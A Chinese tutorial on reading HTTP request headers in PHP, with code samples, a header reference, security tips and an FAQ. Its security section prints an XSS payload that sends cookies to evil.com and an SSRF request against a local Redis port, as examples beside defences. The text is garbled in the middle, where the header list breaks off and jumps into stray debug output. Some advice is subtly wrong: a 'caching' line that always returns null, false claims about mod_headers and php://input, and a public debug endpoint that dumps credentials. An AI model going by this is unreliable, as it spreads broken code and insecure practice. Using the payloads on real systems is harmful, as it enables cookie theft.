php 获取请求头|全面解析与实战指南

一、请求头基础认知

HTTP请求头(Request Headers)是客户端向服务器发送的元数据集合,用于传递关于请求的附加信息,如客户端能力、认证凭证、内容类型等。在Web开发中,php 获取请求头是实现安全校验、内容协商、日志追踪、API鉴权等核心功能的关键前置步骤。

以现代RESTful API为例,客户端(如移动App或前端SPA)在发起请求时,通常会携带如下关键请求头字段:

  • Authorization:用于Bearer Token或Basic Auth认证
  • Content-Type:指定请求体的媒体类型(如application/json)
  • User-Agent:标识发起请求的客户端软件信息
  • Accept:声明客户端可接收的响应内容类型
  • X-Forwarded-For:记录原始客户端IP(尤其在代理后)

若后端未正确解析请求头,可能导致认证失败、内容协商错误、安全策略失效等严重问题。例如:未校验Authorization头将直接暴露API接口;忽略Content-Type可能导致JSON数据被当作普通表单处理,引发解析异常。

PHP作为服务端语言,通过超全局变量$_SERVER和内置函数getallheaders()提供请求头访问能力,二者在使用场景、兼容性、性能方面各有特点,需根据实际环境选择。

二、PHP获取请求头的主流方法

目前主流方式有三种:通过$_SERVER变量、调用getallheaders()函数、使用第三方库(如Guzzle中间件)。以下逐一对比分析:

⒈ 基于$_SERVER变量

PHP将HTTP请求头自动转换为$_SERVER数组中的键值对,规则为:

  • 将头名称中的连字符-替换为下划线_
  • 添加HTTP_前缀
  • 全部转为大写

例如:请求头X-Custom-Header: test在$_SERVER中对应$_SERVER['HTTP_X_CUSTOM_HEADER']。

适用场景:Nginx/Apache环境稳定,仅需获取少量特定头字段;对性能要求高且需兼容旧版PHP(<5.4)。

局限性:IIS环境可能不生成HTTP_前缀的变量;无法获取Content-Length、Transfer-Encoding等非用户定义头。

⒉ 调用getallheaders()函数

此函数为PHP内置函数(需启用mod_headers模块),直接返回完整请求头数组,键为原始头名称(保留大小写与连字符),值为对应内容。

<?php
$headers = getallheaders();
print_r($headers);
// 示例输出:
// Array
// (
//     [Host] => www.xservx.com
//     [User-Agent] => Mozilla/5.0 (Windows NT 10.0; Win64; x64)
//     [Accept] => text/html,application/json
//     [X-Request-ID] => abc123xyz
//     [Authorization] => Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
// )
?>

优势:API直观、跨Web服务器兼容性好(Apache/Nginx+PHP-FPM)、支持所有标准头字段。

注意:部分主机禁用该函数(如共享虚拟主机),需通过phpinfo()确认模块状态;IIS环境需配合FastCGI使用。

⒊ 组合方案:自动降级适配

生产环境推荐采用“尝试→回退”策略,确保兼容性:

<?php
function getRequestHeaders() {
    if (function_exists('getallheaders')) {
        return getallheaders();
    }
    $headers = [];
    foreach ($_SERVER as $key => $value) {
        if (strpos($key, 'HTTP_') === 0) {
            $headerName = str_replace(' ', '-', ucwords(str_replace('_', ' ', substr($key, 5))));
            $headers[$headerName] = $value;
        }
    }
    // 补充非HTTP_前缀的头(如Content-Type)
    if (isset($_SERVER['CONTENT_TYPE'])) {
        $headers['Content-Type'] = $_SERVER['CONTENT_TYPE'];
    }
    if (isset($_SERVER['CONTENT_LENGTH'])) {
        $headers['Content-Length'] = $_SERVER['CONTENT_LENGTH'];
    }
    return $headers;
}
// 使用示例
$headers = getRequestHeaders();
$auth = $headers['Authorization'] ?? null;
?>

此方案兼顾性能与兼容性,是企业级项目的首选实现。

三、12类高频请求头详解与示例

以下按使用频率排序,列出开发者最常处理的12类请求头,每类包含标准格式、PHP获取方式、典型用途及风险提示。

认证与安全相关请求头

  • Authorization
    格式:Bearer <token> 或 Basic <base64(username:password)>
    PHP获取:$auth = $_SERVER['HTTP_AUTHORIZATION'] ?? null;
    典型用途:JWT/OAuth2认证、API密钥验证
    ⚠️ 风险:直接拼接SQL或未验证签名将导致注入攻击
  • Cookie
    格式:sessionid=abc123; user_pref=dark
    PHP获取:$_COOKIE['sessionid'] 或 $_SERVER['HTTP_COOKIE']
    典型用途:会话维持、用户偏好存储
    ⚠️ 风险:明文传输敏感数据易被窃取(需配合Secure和HttpOnly属性)
  • Origin
    格式:https://example.com
    PHP获取:$_SERVER['HTTP_ORIGIN'] ?? null;
    典型用途:CORS策略校验(如Access-Control-Allow-Origin响应头生成)
    ⚠️ 风险:不可作为唯一安全依据(可伪造),需结合Token校验

内容协商与传输类请求头

  • Content-Type
    格式:application/json; charset=utf-8
    PHP获取:$_SERVER['CONTENT_TYPE'] ?? null;
    典型用途:解析请求体(如json_decode(file_get_contents('php://input')))
    ⚠️ 风险:未校验类型可能导致XSS(如上传HTML文件被当作脚本执行)
  • Accept
    格式:text/html,application/xhtml+xml,application/xml;q=0.9,** > X-Debug: true > X-API-Key: secret123 > Content-Type: application/json > Content-Length: 17 >

⒊ PHP内置调试输出

在请求处理入口添加诊断代码:

<?php
// 在index.php顶部添加
if (isset($_GET['debug_headers'])) {
    header('Content-Type: application/json');
    echo json_encode([
        'getallheaders' => function_exists('getallheaders') ? getallheaders() : 'disabled',
        'server_headers' => array_filter($_SERVER, function($k) { return strpos($k, 'HTTP_') === 0; }, ARRAY_FILTER_USE_KEY),
        'request_method' => $_SERVER['REQUEST_METHOD'],
        'request_uri' => $_SERVER['REQUEST_URI']
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
    exit;
}
?>

访问:https://www.xservx.com/?debug_headers=1查看原始头数据

⒋ 伪造请求工具推荐

  • Postman:支持环境变量、测试脚本(JavaScript)、自动化测试
  • Insomnia:轻量级、界面简洁、支持插件扩展
  • HTTPie:命令行工具,语法简洁(http POST :8080/api user=admin)

五、安全风险与防护策略

错误处理请求头是Web攻击的常见入口点,以下为高危场景及防御方案:

⚠️ 高危风险1:XSS攻击
若将User-Agent直接输出到HTML页面:
<div>Your browser: <?php echo $_SERVER['HTTP_USER_AGENT']; ?></div>
攻击者可构造恶意UA:<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

防御方案

  • 输出编码:使用htmlspecialchars($ua, ENT_QUOTES, 'UTF-8')
  • 内容安全策略:设置Content-Security-Policy响应头限制脚本执行
  • 输入过滤:对Accept-Language等字段做白名单校验
⚠️ 高危风险2:SSRF攻击
通过X-Forwarded-For伪造内网IP:
GET /proxy?url=http://127.0.0.1:6379 HTTP/1.1
X-Forwarded-For: 127.0.0.1

防御方案

  • IP白名单:仅允许可信代理IP(如Nginx服务器IP)
  • 协议校验:禁止file://、gopher://等危险协议
  • 请求限制:禁止访问内网IP段(127.0.0.0/8、192.168.0.0/16等)

⒊ 请求头长度限制配置

过长的请求头可能导致缓冲区溢出,需在Web服务器层限制:

服务器配置项推荐值说明
Nginxlarge_client_header_buffers4 8k最大8KB,最多4个缓冲区
ApacheLimitRequestFieldSize8190单个头最大8KB
PHP-FPMrequest_terminate_timeout30防止长请求阻塞

⒋ 安全响应头建议配置

在PHP脚本末尾添加以下响应头增强防护:

<?php
// 防止XSS
header('Content-Security-Policy: default-src \'self\'; script-src \'self\' \'unsafe-inline\'; style-src \'self\' \'unsafe-inline\'');
// 防止点击劫持
header('X-Frame-Options: DENY');
// 强制HTTPS
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
// 禁用MIME类型嗅探
header('X-Content-Type-Options: nosniff');
// 减少Referrer信息泄露
header('Referrer-Policy: strict-origin-when-cross-origin');
?>

六、高频问题解答(FAQ)

基础认知类问题

Q1:为什么$_SERVER['HTTP_AUTHORIZATION']为空?
A:常见于Apache环境未启用mod_rewrite或Nginx未传递头。解决方案:
① Apache:在.htaccess添加RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
② Nginx:配置fastcgi_param HTTP_AUTHORIZATION $http_authorization;
Q2:getallheaders()返回空数组?
A:检查PHP运行模式:
① CGI/FastCGI模式下可能不支持 → 改用$_SERVER组合方案
② 主机商禁用该函数 → 联系客服开启mod_headers模块
Q3:如何获取原始请求头(含大小写)?
A:$_SERVER自动转为大写,需用getallheaders()或解析php://input(仅限CLI模式)

环境兼容性问题

Q1:IIS环境如何获取请求头?
A:IIS通过HTTP_前缀映射,但部分头(如Authorization)需手动配置:
① 在web.config添加<system.webServer><security><requestFiltering><requestLimits><headerLimits><add header="Authorization" sizeLimit="1024" /></headerLimits></requestLimits></security></system.webServer>
② 确保PHP以FastCGI模式运行
Q2:Docker容器中getallheaders()失效?
A:检查php-fpm.conf是否启用clear_env = no,否则$_SERVER变量被清空
Q3:Swoole协程环境如何获取请求头?
A:使用$request->header数组(注意:字段名为小写):
$ua = $request->header['user-agent'] ?? null;

性能与监控

Q1:频繁调用getallheaders()影响性能?
A:建议缓存结果:
$headers = $_SERVER['REQUEST_TIME'] ? null : getallheaders();
Q2:如何监控异常请求头?
A:在日志中记录可疑字段:
error_log("Suspicious UA: " . ($_SERVER['HTTP_USER_AGENT'] ?? 'empty'));
结合ELK栈实现自动化告警
Q3:请求头过大导致502错误?
A:检查三处限制:
① Nginx:client_header_buffer_size
② PHP:max_input_vars
③ 应用层:post_max_size